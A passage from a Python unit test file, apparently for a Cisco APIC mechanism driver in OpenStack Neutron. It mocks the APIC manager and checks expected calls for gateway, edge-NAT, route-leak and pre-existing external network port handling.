'1', '1'), mock.call(self._tenant_id, net2['id'], '1', '1', '1')] # Create path expected calls net1 = self.show_network( net1['id'], is_admin_context=True)['network'] net2 = self.show_network( net2['id'], is_admin_context=True)['network'] expected_calls_add = [ mock.call(self._tenant_id, net1['id'], 'h1', net1['provider:segmentation_id']), mock.call(self._tenant_id, net2['id'], 'h1', net2['provider:segmentation_id'])] self._check_call_list( expected_calls_remove, mgr.delete_path.call_args_list) self._check_call_list( expected_calls_add, mgr.ensure_path_created_for_port.call_args_list) def test_duplicate_hostlink(self): self.driver.apic_manager.add_hostlink( 'h1', 'static', None, '1', '1', '1') # The below doesn't rise self.rpc.update_link( mock.Mock(), 'h1', 'static', None, '1', '1', '1') class TestCiscoApicMechDriver(testlib_api.SqlTestCase, mocked.ControllerMixin, mocked.ConfigMixin): def setUp(self): super(TestCiscoApicMechDriver, self).setUp() mocked.ControllerMixin.set_up_mocks(self) mocked.ConfigMixin.set_up_mocks(self) self.mock_apic_manager_login_responses() self.driver = md.APICMechanismDriver() self.driver.synchronizer = None self.synchronizer = mock.Mock() md.APICMechanismDriver.get_base_synchronizer = mock.Mock( return_value=self.synchronizer) apic_mapper.ApicName.__eq__ = equal self.driver.apic_manager = mock.Mock( name_mapper=mock.Mock(), ext_net_dict=self.external_network_dict) self.driver.initialize() self.driver.vif_type = 'test-vif_type' self.driver.cap_port_filter = 'test-cap_port_filter' self.driver.name_mapper.aci_mapper.tenant = echo self.driver.name_mapper.aci_mapper.network = echo self.driver.name_mapper.aci_mapper.subnet = echo self.driver.name_mapper.aci_mapper.port = echo self.driver.name_mapper.aci_mapper.router = echo self.driver.name_mapper.aci_mapper.pre_existing = echo self.driver.name_mapper.aci_mapper.echo = echo self.driver.name_mapper.aci_mapper.app_profile.return_value = ( mocked.APIC_AP) self.driver.name_mapper.aci_mapper.get_tenant_name.return_value = ( mocked.APIC_TENANT) self.driver.name_mapper.aci_mapper.update_tenant_name.return_value = ( 'new_name') self.driver.apic_manager.apic.transaction = self.fake_transaction self.agent = {'configurations': { 'opflex_networks': None, 'bridge_mappings': {'physnet1': 'br-eth1'}}} mock.patch('neutron.manager.NeutronManager').start() self.driver._l3_plugin = mock.Mock() self.driver._allocate_snat_ip = echo self.driver._create_snat_ip_allocation_subnet = echo self.driver._delete_snat_ip_allocation_network = echo def get_resource(context, resource_id): return {'id': resource_id, 'tenant_id': mocked.APIC_TENANT} self.driver._l3_plugin.get_router = get_resource self.driver._l3_plugin.get_routers = mock.Mock(return_value=[ {'id': mocked.APIC_ROUTER, 'tenant_id': mocked.APIC_TENANT}]) self.trimmed_l3out = u'{"l3extOut": {"attributes": {"rn": "Auto-Sub\ "}, "children": [ {"l3extRsNdIfPol": {"tnNdIfPolName": ""}}, \ {"l3extRsDampeningPol": {"tnRtctrlProfileName": ""}}, {"ospfRsIfPol": \ {"tnOspfIfPolName": ""}}, {"l3extRsEngressQosDppPol": {"tnQosDppPolName": ""}}\ , {"bfdRsIfPol": {"tnBfdIfPolName": ""}}, {"bgpRsPeerPfxPol": \ {"tnBgpPeerPfxPolName": ""}}, {"eigrpRsIfPol": {"tnEigrpIfPolName": ""}}, \ {"l3extLNodeP": {"attributes": {"dn": "uni/tn-Sub/out-Auto-Sub/\ lnodep-Leaf3-4_NP"}, "children": [{"l3extLIfP": {"children": [{"\ l3extRsPathL3OutAtt": {"attributes": {"ifInstT": "sub-interface", "encap": \ "vlan-999"}}}]}}]}}, {"l3extRsEctx": {"attributes": {"dn": "uni/tn-Sub\ /out-Auto-Sub/rsectx", "tnFvCtxName": "ctx-Sub"}}}]}}' self.driver._query_external_EPG = mock.Mock() self.driver._query_external_EPG.return_value = ['5.5.5.0/24', '6.6.6.0/24'] def _check_call_list(self, expected, observed): exp_bkp = expected[:] obs_bkp = observed[:] for call in expected: self.assertTrue(call in observed, msg='Call not found, expected:\n%s\nobserved:' '\n%s' % (str(exp_bkp), str(obs_bkp))) observed.remove(call) self.assertFalse( len(observed), msg='There are more calls than expected: %s' % str(observed)) def test_initialize(self): mgr = self.driver.apic_manager self.assertEqual(1, mgr.ensure_infra_created_on_apic.call_count) self.assertEqual( 1, mgr.ensure_bgp_pod_policy_created_on_apic.call_count) def test_update_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, device_owner='any') mgr = self.driver.apic_manager self.driver.update_port_postcommit(port_ctx) mgr.ensure_path_created_for_port.assert_called_once_with( self._tenant(), mocked.APIC_NETWORK, HOST_ID1, ENCAP, transaction='transaction', bd_name=None, app_profile_name=self._app_profile()) def test_update_host(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, device_owner='any') port_ctx.original_host = HOST_ID2 self.driver.update_port_postcommit(port_ctx) def test_create_port_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, seg_type=ofcst.TYPE_OPFLEX) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, device_owner='any') mgr = self.driver.apic_manager self.assertTrue(self.driver._check_segment_for_agent( port_ctx._bound_segment, self.agent)) self.driver.create_port_postcommit(port_ctx) mgr.ensure_path_created_for_port.assert_not_called() def test_update_port_precommit_empty_tenant_1(self): self.driver._is_nat_enabled_on_ext_net = mock.Mock() self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': mocked.APIC_ROUTER, 'tenant_id': ''}) net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, seg_type=ofcst.TYPE_OPFLEX, external=True) r_cnst = n_constants.DEVICE_OWNER_ROUTER_GW port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, mocked.APIC_ROUTER, net_ctx, HOST_ID1, device_owner=r_cnst) self.assertTrue(self.driver._check_segment_for_agent( port_ctx._bound_segment, self.agent)) self.driver.update_port_precommit(port_ctx) self.driver._is_nat_enabled_on_ext_net.assert_not_called() def test_update_port_precommit_empty_tenant_2(self): self.driver._is_nat_enabled_on_ext_net = mock.Mock(return_value=False) self.driver.per_tenant_context = True self.driver._is_edge_nat = mock.Mock(return_value=False) self.driver._is_pre_existing = mock.Mock(return_value=False) self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': mocked.APIC_ROUTER, 'tenant_id': 'foo'}) self.driver._l3_plugin.get_routers = mock.Mock( return_value=[{'id': mocked.APIC_ROUTER, 'tenant_id': ''}]) net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, seg_type=ofcst.TYPE_OPFLEX, external=True) r_cnst = n_constants.DEVICE_OWNER_ROUTER_GW port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, mocked.APIC_ROUTER, net_ctx, HOST_ID1, device_owner=r_cnst) self.assertTrue(self.driver._check_segment_for_agent( port_ctx._bound_segment, self.agent)) self.driver.update_port_precommit(port_ctx) self.driver._l3_plugin.get_routers.assert_called_once_with( mock.ANY, filters=mock.ANY) self.driver._is_pre_existing.assert_called_once_with(mock.ANY) def test_create_port_postcommit_empty_tenant(self): self.driver._create_shadow_ext_net_for_nat = mock.Mock() self.driver._is_nat_enabled_on_ext_net = mock.Mock(return_value=True) self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': mocked.APIC_ROUTER, 'tenant_id': ''}) net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, seg_type=ofcst.TYPE_OPFLEX) r_cnst = n_constants.DEVICE_OWNER_ROUTER_GW port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, mocked.APIC_ROUTER, net_ctx, HOST_ID1, device_owner=r_cnst) self.assertTrue(self.driver._check_segment_for_agent( port_ctx._bound_segment, self.agent)) self.driver.create_port_postcommit(port_ctx) self.driver._create_shadow_ext_net_for_nat.assert_not_called() def test_create_port_postcommit_opflex(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1, seg_type='opflex') port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, device_owner='any') self.assertTrue(self.driver._check_segment_for_agent( port_ctx._bound_segment, self.agent)) mgr = self.driver.apic_manager self.driver.create_port_postcommit(port_ctx) self.assertFalse(mgr.ensure_path_created_for_port.called) def test_create_port_cross_tenant(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) port_ctx = self._get_port_context('some-admin', mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, device_owner='any') mgr = self.driver.apic_manager self.driver.create_port_postcommit(port_ctx) self.assertEqual(port_ctx.current['tenant_id'], 'some-admin') # Path creation gets called with the network tenant id mgr.ensure_path_created_for_port.assert_called_once_with( self._tenant(), mocked.APIC_NETWORK, HOST_ID1, ENCAP, transaction='transaction', bd_name=None, app_profile_name=self._app_profile()) def test_update_port_nobound_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, None, device_owner='any') self.driver.update_port_postcommit(port_ctx) mgr = self.driver.apic_manager self.assertFalse(mgr.ensure_path_created_for_port.called) def test_create_port_nobound_postcommit(self): net_ctx = self._get_network_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, TEST_SEGMENT1) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, None, device_owner='any') self.driver.create_port_postcommit(port_ctx) mgr = self.driver.apic_manager self.assertFalse(mgr.ensure_path_created_for_port.called) def _test_update_gw_port_postcommit(self, net_tenant=mocked.APIC_TENANT): net_ctx = self._get_network_context(net_tenant, mocked.APIC_NETWORK, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver.update_port_postcommit(port_ctx) mgr.get_router_contract.assert_called_once_with( self._scoped_name(port_ctx.current['device_id']), owner=self._router_tenant()) vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') shd_l3out = (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK) or mocked.APIC_NETWORK) expected_calls = [ mock.call("Shd-%s" % shd_l3out, owner=self._tenant(ext_nat=True), transaction=mock.ANY, context=self._routed_network_vrf_name())] self._check_call_list( expected_calls, mgr.ensure_external_routed_network_created.call_args_list) expected_calls = [ mock.call("Shd-%s" % shd_l3out, subnet='5.5.5.0/24', external_epg="Shd-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY), mock.call("Shd-%s" % shd_l3out, subnet='6.6.6.0/24', external_epg="Shd-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) expected_calls = [ mock.call( "Shd-%s" % shd_l3out, mgr.get_router_contract.return_value, external_epg="Shd-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_consumed_contract.call_args_list) expected_calls = [ mock.call( "Shd-%s" % shd_l3out, mgr.get_router_contract.return_value, external_epg="Shd-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_provided_contract.call_args_list) def test_update_gw_port_postcommit(self): self._test_update_gw_port_postcommit() def test_update_cross_tenant_gw_port_postcommit(self): self._test_update_gw_port_postcommit('admin_tenant') def _test_update_edge_nat_gw_port_postcommit( self, net_tenant=mocked.APIC_TENANT): net_ctx = self._get_network_context(net_tenant, mocked.APIC_NETWORK_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver.l3out_vlan_alloc.reserve_vlan = mock.Mock() manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = [ {'tenant_id': mocked.APIC_TENANT, 'name': mocked.APIC_NETWORK, 'id': u'net_id'}] self.driver.update_port_postcommit(port_ctx) mgr.get_router_contract.assert_called_once_with( self._scoped_name(port_ctx.current['device_id']), owner=self._router_tenant()) vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') l3out_name = (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK_EDGE_NAT) or mocked.APIC_NETWORK_EDGE_NAT) l3out_name = "Auto-%s" % l3out_name expected_calls = [ mock.call(l3out_name, owner=self._tenant(ext_nat=True), transaction=mock.ANY, context=self._routed_network_vrf_name())] self._check_call_list( expected_calls, mgr.ensure_external_routed_network_created.call_args_list) expected_calls = [ mock.call(l3out_name, subnet='5.5.5.0/24', external_epg="Auto-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY), mock.call(l3out_name, subnet='6.6.6.0/24', external_epg="Auto-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) self.driver.l3out_vlan_alloc.reserve_vlan.assert_called_once_with( mocked.APIC_NETWORK_EDGE_NAT + '-name', self._routed_network_vrf_name(), self._tenant(ext_nat=True)) self.assertTrue(mgr.set_domain_for_external_routed_network.called) self.assertTrue(mgr.ensure_logical_node_profile_created.called) self.assertTrue(mgr.ensure_static_route_created.called) bd_name = self._scoped_name('net_id') mgr.set_l3out_for_bd.assert_called_once_with( self._tenant(), bd_name, l3out_name, transaction=mock.ANY) expected_calls = [ mock.call( l3out_name, mgr.get_router_contract.return_value, external_epg="Auto-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_consumed_contract.call_args_list) expected_calls = [ mock.call( l3out_name, mgr.get_router_contract.return_value, external_epg="Auto-%s" % mocked.APIC_EXT_EPG, owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_provided_contract.call_args_list) def test_update_edge_nat_gw_port_postcommit(self): self._test_update_edge_nat_gw_port_postcommit() def test_update_cross_tenant_edge_nat_gw_port_postcommit(self): self._test_update_edge_nat_gw_port_postcommit('admin_tenant') def _test_update_interface_port_postcommit(self, no_nat=False, pre=False, net_tenant=None, route_leak=False): net_tenant = net_tenant or mocked.APIC_TENANT if self.driver.vrf_per_router_tenants: self.driver.vrf_per_router_tenants.append(net_tenant) if no_nat: ext_net = mocked.APIC_NETWORK_NO_NAT if pre: self.external_network_dict[ext_net + '-name'][ 'preexisting'] = 'True' self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': self._tenant(), 'vrf_name': self._network_vrf_name(), 'vrf_tenant': self._tenant(vrf=True)} else: ext_net = mocked.APIC_NETWORK_EDGE_NAT net_ctx = self._get_network_context(net_tenant, 'net_id', TEST_SEGMENT1, route_leak=route_leak) net_ctx1 = self._get_network_context(net_tenant, 'net_id1', TEST_SEGMENT1, route_leak=route_leak) port_ctx = self._get_port_context(net_tenant, 'net_id', 'vm1', net_ctx, HOST_ID1, interface=True) if route_leak: self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': 'some_id', 'name': mocked.APIC_ROUTER + '-name', 'tenant_id': net_tenant, 'apic:use_routing_context': mocked.APIC_ROUTER, 'external_gateway_info': {'network_id': ext_net, 'external_fixed_ips': []}}) else: self.driver._l3_plugin.get_router = mock.Mock( return_value={'id': mocked.APIC_ROUTER, 'name': mocked.APIC_ROUTER + '-name', 'tenant_id': net_tenant, 'external_gateway_info': {'network_id': ext_net, 'external_fixed_ips': []}}) port_ctx._plugin.get_network = mock.Mock( return_value={'name': ext_net + '-name', 'tenant_id': mocked.APIC_TENANT, 'router:external': True}) self.driver._get_route_leak_networks = mock.Mock( return_value=([net_ctx.current, net_ctx1.current])) port_ctx._plugin.get_subnets = mock.Mock( return_value=[{'tenant_id': mocked.APIC_TENANT, 'id': 'some_id', 'cidr': '5.5.5.0/24'}]) if route_leak: self.driver._get_subnet_info = mock.Mock( return_value=(mocked.APIC_TENANT, ext_net + '-name', '3.3.3.1/24')) port_ctx._plugin.get_subnets = mock.Mock( return_value=[{'tenant_id': mocked.APIC_TENANT, 'id': 'some_id', 'cidr': '5.5.5.0/24'}, {'tenant_id': mocked.APIC_TENANT, 'id': 'some_id1', 'cidr': '6.6.6.0/24'}]) self.driver.update_port_postcommit(port_ctx) prefix = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants and not no_nat else '') l3out_name = (self.driver.per_tenant_context and self._scoped_name(prefix + ext_net) or ext_net) if not no_nat: l3out_name = "Auto-%s" % l3out_name elif pre: l3out_name = self._scoped_name(ext_net + '-name', preexisting=True) bd_tenant = self._tenant(neutron_tenant=net_tenant) bd_name = self._scoped_name('net_id', tenant=net_tenant) mgr = self.driver.apic_manager if self.driver.vrf_per_router_tenants: leak_l3out = 'Leak-%s' % net_ctx.current['name'] leak_l3out1 = 'Leak-%s' % net_ctx1.current['name'] leak_ext_epg = 'Leak-%s-%s' % (mocked.APIC_ROUTER + '-name', mocked.APIC_EXT_EPG) if route_leak: leak_bd_name = 'Leak-%s-%s' % (mocked.APIC_ROUTER, bd_name) mgr.ensure_bd_created_on_apic.assert_called_once_with( bd_tenant, leak_bd_name, ctx_owner=bd_tenant, ctx_name=self._routed_network_vrf_name(tenant=net_tenant), transaction=mock.ANY) leak_epg_name = 'Leak-%s-%s' % (mocked.APIC_ROUTER, 'net_id') mgr.ensure_epg_created.assert_called_once_with( bd_tenant, leak_epg_name, bd_name=leak_bd_name, app_profile_name=self._app_profile(), transaction=mock.ANY) mgr.ensure_subnet_created_on_apic.assert_called_once_with( bd_tenant, leak_bd_name, '3.3.3.1/24', scope=None, transaction=mock.ANY) contract_name = 'contract-%s' % mocked.APIC_ROUTER expected_calls = [ mock.call( bd_tenant, leak_epg_name, contract_name, app_profile_name=self._app_profile(), transaction=mock.ANY), mock.call( bd_tenant, leak_epg_name, contract_name, app_profile_name=self._app_profile(), provider=True, transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.set_contract_for_epg.call_args_list) expected_calls = [ mock.call(leak_l3out, subnet='5.5.5.0/24', external_epg=leak_ext_epg, owner=bd_tenant, transaction=mock.ANY), mock.call(leak_l3out, subnet='6.6.6.0/24', external_epg=leak_ext_epg, owner=bd_tenant, transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) (mgr.ensure_external_epg_consumed_contract. assert_called_once_with( leak_l3out, contract_name, external_epg=leak_ext_epg, owner=bd_tenant, transaction=mock.ANY)) (mgr.ensure_external_epg_provided_contract. assert_called_once_with( leak_l3out, contract_name, external_epg=leak_ext_epg, owner=bd_tenant, transaction=mock.ANY)) mgr.associate_external_epg_to_nat_epg.assert_called_once_with( bd_tenant, leak_l3out, leak_ext_epg, leak_epg_name, target_owner=bd_tenant, app_profile_name=self._app_profile(), transaction=mock.ANY) else: mgr.set_context_for_bd.assert_called_once_with( bd_tenant, bd_name, self._routed_network_vrf_name(tenant=net_tenant), transaction=mock.ANY) expected_calls = [ mock.call(leak_l3out, subnet='5.5.5.0/24', external_epg=leak_ext_epg, owner=bd_tenant, transaction=mock.ANY), mock.call(leak_l3out1, subnet='5.5.5.0/24', external_epg=leak_ext_epg, owner=bd_tenant, transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) mgr.set_l3out_for_bd.assert_called_once_with( bd_tenant, bd_name, l3out_name, transaction=mock.ANY) def test_update_edge_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit() def test_update_route_leak_edge_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit(route_leak=True) def test_update_cross_tenant_edge_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit('another') def test_update_route_leak_cross_tenant_edge_nat_interface_port_postcommit( self): self._test_update_interface_port_postcommit('another', route_leak=True) def test_update_no_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit(no_nat=True) def test_update_cross_tenant_no_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit(no_nat=True, net_tenant='another') def test_update_pre_no_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit(no_nat=True, pre=True) def test_update_cross_tenant_pre_no_nat_interface_port_postcommit(self): self._test_update_interface_port_postcommit( no_nat=True, pre=True, net_tenant='another') def _test_update_pre_edge_nat_gw_port_postcommit( self, net_tenant=mocked.APIC_TENANT): net_ctx = self._get_network_context(net_tenant, mocked.APIC_NETWORK_PRE_EDGE_NAT, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE_EDGE_NAT, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver.l3out_vlan_alloc.reserve_vlan = mock.Mock() self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant', # fake l3out response from APIC for testing purpose only 'l3out': ([{u'l3extExtEncapAllocator': {}}, {u'l3extInstP': {}}, {u'l3extRtBDToOut': {}}, {u'l3extRsOutToBDPublicSubnetHolder': {}}, {u'l3extRsNdIfPol': {u'tDn': u'', u'tnNdIfPolName': u''}}, {u'l3extRsDampeningPol': {u'tDn': u'', u'tnRtctrlProfileName': u''}}, {u'ospfRsIfPol': {u'tDn': u'', u'tnOspfIfPolName': u''}}, {u'l3extRsEngressQosDppPol': {u'tDn': u'', u'tnQosDppPolName': u''}}, {u'bfdRsIfPol': {u'tDn': u'', u'tnBfdIfPolName': u''}}, {u'bgpRsPeerPfxPol': {u'tDn': u'', u'tnBgpPeerPfxPolName': u''}}, {u'eigrpRsIfPol': {u'tDn': u'', u'tnEigrpIfPolName': u''}}, {u'l3extLNodeP': {u'attributes': {u'dn': u'uni/tn-bar_tenant/out-netwo\ rk_pre_edge_nat-name/lnodep-Leaf3-4_NP', u'lcOwn': u'local', u'name': u'Leaf3-4_NP', u'targetDscp': u'unspecified', u'configIssues': u'', u'stateQual': u'', u'tCl': u'', u'tContextDn': u'', u'tRn': u'', u'type': u'', u'rType': u'', u'state': u'', u'forceResolve': u'', u'tag': u'yellow-green', u'monPolDn': u'', u'modTs': u'', u'uid': u'15374', u'encap': u'unknown', u'addr': u'0.0.0.0'}, u'children': [{u'l3extLIfP': {u'children': [{u'l3extRsPathL3OutA\ tt': {u'attributes': {u'encap': u'vlan-3101', u'ifInstT': u'sub-interface' }}}]}} ]}}, {u'l3extRsEctx': {u'attributes': {u'dn': u'uni/tn-bar_tenant/out-network_pre_edge_nat-name\ /rsectx', u'tDn': u'', u'tnFvCtxName': u'default'}}}])} def echo1(obj): return str(obj) self.driver.apic_manager.apic.fvTenant.rn = echo1 self.driver.apic_manager.apic.l3extOut.rn = echo1 self.driver.apic_manager.apic.fvCtx.name = echo1 self.driver.l3out_vlan_alloc.reserve_vlan.return_value = 999 manager.NeutronManager = mock.MagicMock() manager.NeutronManager.get_plugin().get_networks.return_value = [ {'tenant_id': mocked.APIC_TENANT, 'name': mocked.APIC_NETWORK, 'id': u'net_id'}] self.driver.update_port_postcommit(port_ctx) mgr.get_router_contract.assert_called_once_with( self._scoped_name(port_ctx.current['device_id']), owner=self._router_tenant()) self.driver.l3out_vlan_alloc.reserve_vlan.assert_called_once_with( mocked.APIC_NETWORK_PRE_EDGE_NAT + '-name', self._routed_network_vrf_name(), self._tenant(ext_nat=True)) self.assertFalse(mgr.mgr.ensure_external_routed_network_created.called) self.assertFalse(mgr.set_domain_for_external_routed_network.called) self.assertFalse(mgr.ensure_logical_node_profile_created.called) self.assertFalse(mgr.ensure_static_route_created.called) vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') l3out_name = (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK_PRE_EDGE_NAT) or mocked.APIC_NETWORK_PRE_EDGE_NAT) l3out_name = "Auto-%s" % l3out_name final_req = re.sub('Auto-Sub', l3out_name, self.trimmed_l3out) final_req = re.sub('tn-Sub', "tn-%s" % self._tenant(ext_nat=True), final_req) final_req = re.sub('ctx-Sub', "%s" % self._routed_network_vrf_name(), final_req) mgr.apic.post_body.assert_called_once_with( mgr.apic.l3extOut.mo, final_req, self._tenant(ext_nat=True), l3out_name) expected_calls = [ mock.call( l3out_name, subnet='5.5.5.0/24', external_epg="Auto-%s" % self._scoped_name( mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY), mock.call( l3out_name, subnet='6.6.6.0/24', external_epg="Auto-%s" % self._scoped_name( mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) mgr.set_l3out_for_bd.assert_called_once_with( self._tenant(), self._scoped_name('net_id'), l3out_name, transaction=mock.ANY) expected_calls = [ mock.call( l3out_name, mgr.get_router_contract.return_value, external_epg="Auto-%s" % self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_consumed_contract.call_args_list) expected_calls = [ mock.call( l3out_name, mgr.get_router_contract.return_value, external_epg="Auto-%s" % self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_provided_contract.call_args_list) def test_update_pre_edge_nat_gw_port_postcommit(self): self._test_update_pre_edge_nat_gw_port_postcommit() def test_update_cross_tenant_pre_edge_nat_gw_port_postcommit(self): self._test_update_pre_edge_nat_gw_port_postcommit('admin_tenant') def _test_update_pre_gw_port_postcommit(self, net_tenant=mocked.APIC_TENANT): net_ctx = self._get_network_context(net_tenant, mocked.APIC_NETWORK_PRE, TEST_SEGMENT1, external=True) port_ctx = self._get_port_context(mocked.APIC_TENANT, mocked.APIC_NETWORK_PRE, 'vm1', net_ctx, HOST_ID1, gw=True) mgr = self.driver.apic_manager mgr.get_router_contract.return_value = mocked.FakeDbContract( mocked.APIC_CONTRACT) self.driver._query_l3out_info = mock.Mock() self.driver._query_l3out_info.return_value = { 'l3out_tenant': 'bar_tenant', 'vrf_name': 'bar_ctx', 'vrf_tenant': 'bar_tenant'} self.driver.update_port_postcommit(port_ctx) mgr.get_router_contract.assert_called_once_with( self._scoped_name(port_ctx.current['device_id']), owner=self._router_tenant()) vrf_pfx = ('%s-' % mocked.APIC_ROUTER if self.driver.vrf_per_router_tenants else '') shd_l3out = (self.driver.per_tenant_context and self._scoped_name(vrf_pfx + mocked.APIC_NETWORK_PRE) or mocked.APIC_NETWORK_PRE) expected_calls = [ mock.call("Shd-%s" % shd_l3out, owner=self._tenant(ext_nat=True), transaction=mock.ANY, context=self._routed_network_vrf_name())] self._check_call_list( expected_calls, mgr.ensure_external_routed_network_created.call_args_list) self.assertFalse(mgr.set_domain_for_external_routed_network.called) self.assertFalse(mgr.ensure_logical_node_profile_created.called) self.assertFalse(mgr.ensure_static_route_created.called) expected_calls = [ mock.call( "Shd-%s" % shd_l3out, subnet='5.5.5.0/24', external_epg="Shd-%s" % self._scoped_name( mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY), mock.call( "Shd-%s" % shd_l3out, subnet='6.6.6.0/24', external_epg="Shd-%s" % self._scoped_name( mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_created.call_args_list) expected_calls = [ mock.call( "Shd-%s" % shd_l3out, mgr.get_router_contract.return_value, external_epg="Shd-%s" % self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_consumed_contract.call_args_list) expected_calls = [ mock.call( "Shd-%s" % shd_l3out, mgr.get_router_contract.return_value, external_epg="Shd-%s" % self._scoped_name(mocked.APIC_EXT_EPG, preexisting=True), owner=self._tenant(ext_nat=True), transaction=mock.ANY)] self._check_call_list( expected_calls, mgr.ensure_external_epg_provided_contract.call_args_list) def test_update_pre_gw_port_postcommit(self): self._test_update_pre_gw_port_postcommit() def test_update_cross_tenant_pre_gw_port_postcommit(self): self._test_update_pre_gw_port_postcommit('admin_tenant') def _test_update_pre_no_nat_gw_port_postcommit(self, l3out_tenant): 